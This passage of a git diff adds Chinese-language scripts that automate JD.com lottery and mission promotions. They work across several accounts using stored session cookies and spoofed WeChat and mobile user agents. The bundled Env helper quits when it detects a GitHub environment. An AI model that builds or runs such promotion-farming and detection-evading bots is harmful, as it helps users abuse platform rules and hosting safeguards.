s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_xgyl_wx.js b/jd_xgyl_wx.js new file mode 100644 index 0000000..c4be511 --- /dev/null +++ b/jd_xgyl_wx.js @@ -0,0 +1,398 @@ +/* +小鸽有礼-京小哥助手(微信小程序) +每天抽奖25豆 +活动入口:微信小程序-京小哥助手 +活动时间:2021年4月16日~2021年5月17日 + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#小鸽有礼 +3 0,7 * * * jd_xgyl_wx.js, tag=小鸽有礼, enabled=true + +================Loon============== +[Script] +cron "3 0,7 * * *" script-path=jd_xgyl_wx.js, tag=小鸽有礼 + +===============Surge================= +小鸽有礼 = type=cron,cronexp="3 0,7 * * *",wake-system=1,timeout=3600,script-path=jd_xgyl_wx.js + +============小火箭========= +小鸽有礼 = type=cron,script-path=jd_xgyl_wx.js, cronexpr="3 0,7 * * *", timeout=3600, enable=true + */ +const $ = new Env('小鸽有礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const activityCode = '1519660363614781440'; +$.helpCodeList = []; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await dailyLottery() + } + } + for (let i = 0; i < $.helpCodeList.length && cookiesArr.length > 0; i++) { + if ($.helpCodeList[i].needHelp === 0) { + continue; + } + for (let j = 0; j < cookiesArr.length && $.helpCodeList[i].needHelp !== 0; j++) { + $.helpFlag = ''; + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + if ($.helpCodeList[i].use === $.UserName) { + continue; + } + console.log(`${$.UserName}助力:${$.helpCodeList[i].helpCpde}`); + await helpFriend($.helpCodeList[i].helpCpde); + if ($.helpFlag === true) { + $.helpCodeList[i].needHelp -= 1; + } + cookiesArr.splice(j, 1); + j--; + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function dailyLottery() { + $.lotteryInfo = {}; + $.missionList = []; + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + console.log(`初始化`); + if ($.lotteryInfo.success !== true) { + console.log(`${$.UserName}数据异常,执行失败`); + return; + } + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + } else { + await doMission();//做任务 + await $.wait(1000); + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + // await doMission();//做任务 + // await $.wait(1000); + // await Promise.all([getLotteryInfo(), getQueryMissionList()]); + } + await $.wait(1000); + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + } else { + await collectionTimes();//领任务奖励 + await $.wait(1000); + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + } + let drawNum = $.lotteryInfo.content.drawNum || 0; + console.log(`共有${drawNum}次抽奖机会`); + $.drawNumber = 1; + for (let i = 0; i < drawNum; i++) { + await $.wait(2000); + //执行抽奖 + await lotteryDraw(); + $.drawNumber++; + } +} + +//助力 +async function helpFriend(missionNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","missionNo":"${missionNo}"}]`; + const myRequest = getPostRequest('luckdraw/helpFriend', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + /* + * {"code":1,"content":true,"data":true,"errorMsg":"SUCCESS","msg":"SUCCESS","success":true} + * */ + console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data.success === true && data.content === true) { + console.log(`助力成功`); + $.helpFlag = true; + } else { + $.helpFlag = false; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function collectionTimes() { + console.log(`开始领任务奖励`); + for (let i = 0; i < $.missionList.length; i++) { + await $.wait(1000); + if ($.missionList[i].status === 11) { + let getRewardNos = $.missionList[i].getRewardNos; + for (let j = 0; j < getRewardNos.length; j++) { + await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 + await $.wait(2000); + } + } + } +} + +//做任务 +async function doMission() { + console.log(`开始执行任务`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status !== 1) { + continue; + } + await $.wait(3000); + if ($.missionList[i].jumpType === 135) { + await doOneMission($.missionList[i]); + } else if ($.missionList[i].jumpType === 1) { + await createInvitation($.missionList[i]); + } + } +} + +//邀请好友来抽奖 +async function createInvitation(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/createInvitation', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} + data = JSON.parse(data); + if (data.success === true) { + $.helpCodeList.push({ + 'use': $.UserName, + 'helpCpde': data.data, + 'needHelp': missionInfo['totalNum'] - missionInfo['completeNum'] + }); + console.log(`互助码(内部多账号自己互助):${data.data}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//领奖励 +async function collectionOneMission(title, getRewardNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; + const myRequest = getPostRequest('luckDraw/getDrawChance', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${title},领取任务奖励成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${title},领取任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function doOneMission(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; + const myRequest = getPostRequest('luckdraw/completeMission', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取任务列表 +async function getQueryMissionList() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/queryMissionList', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + $.missionList = data.content.missionList; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取信息 +async function getLotteryInfo() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/queryActivityBaseInfo', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + $.lotteryInfo = JSON.parse(data); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function lotteryDraw() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('luckdraw/draw', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(`${data}`); + data = JSON.parse(data); + if (data.success === true) { + console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); + } else { + console.log(`${$.name}第${$.drawNumber}次抽奖失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(type, body) { + const url = `https://lop-proxy.jd.com/${type}`; + const method = `POST`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `lop-proxy.jd.com`, + 'Origin': `https://jingcai-h5.jd.com`, + 'Connection': `keep-alive`, + 'biz-type': `service-monitor`, + 'Accept-Language': `zh-cn`, + 'version': `1.0.0`, + 'Content-Type': `application/json;charset=utf-8`, + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16A404 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN', + 'Referer': `https://jingcai-h5.jd.com`, + 'ClientInfo': `{"appName":"jingcai","client":"m"}`, + 'access': `H5`, + 'Accept': `application/json, text/plain, */*`, + 'jexpress-report-time': `${new Date().getTime()}`, + 'source-client': `2`, + 'X-Requested-With': `XMLHttpRequest`, + 'Cookie': cookie, + 'LOP-DN': `jingcai.jd.com`, + 'AppParams': `{"appid":158,"ticket_type":"m"}`, + 'app-key': `jexpress` + }; + return {url: url, method: method, headers: headers, body: body}; +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_xs_zzl.js b/jd_xs_zzl.js new file mode 100644 index 0000000..a56dd27 --- /dev/null +++ b/jd_xs_zzl.js @@ -0,0 +1,211 @@ +/* +京享周周乐 +活动入口:京东APP --京享会员 +更新时间:2022-04-03 +by:小手冰凉 tg:@chianPLA +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京享周周乐 +2 6 * * 5 jd_xs_zzl.js, tag=京享周周乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ + +const $ = new Env('京享周周乐'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await pg_channel_page_data(); + await $.wait(1000); + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//首页 +function pg_channel_page_data() { + return new Promise((resolve) => { + $.get(taskUrl("pg_channel_page_data", { "v": "13.2", "paramData": { "token": "2b11cbdd-b8bb-4a98-ad17-c9d6bc23ee92" }, "argMap": { "raffleConfigId": "12" } }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`pg_channel_page_data API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success === true) { + console.log(data.data.floorInfoList[0].floorData.rarityActNineBox.raffleActKey); + console.log(data.data.floorInfoList[0].token); + await pg_interact_interface_invoke(data.data.floorInfoList[0].token, data.data.floorInfoList[0].floorData.rarityActNineBox.raffleActKey) + } else { + console.log(data.message); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function pg_interact_interface_invoke(floorToken, raffleActKey) { + return new Promise((resolve) => { + $.get(taskUrl("pg_interact_interface_invoke", { "v": "13.2", "floorToken": floorToken, "dataSourceCode": "lottery", "argMap": { "raffleActKey": raffleActKey, "pitIndex": 1 } }), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`pg_interact_interface_invoke API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success === true) { + if (data.data.prizeIndex === 0) { + console.log(`恭喜获${data.data.beanNumber}得京豆`); + } else { + console.log(`恭喜获优惠卷`); + } + } else { + console.log("抽奖失败: " + data.resultTips); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&uuid=&appid=vipChannelHome&loginWQBiz=huiyuan&ext=&t=${(new Date).getTime()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'user-agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3209 MMWEBSDK/20220204 Mobile 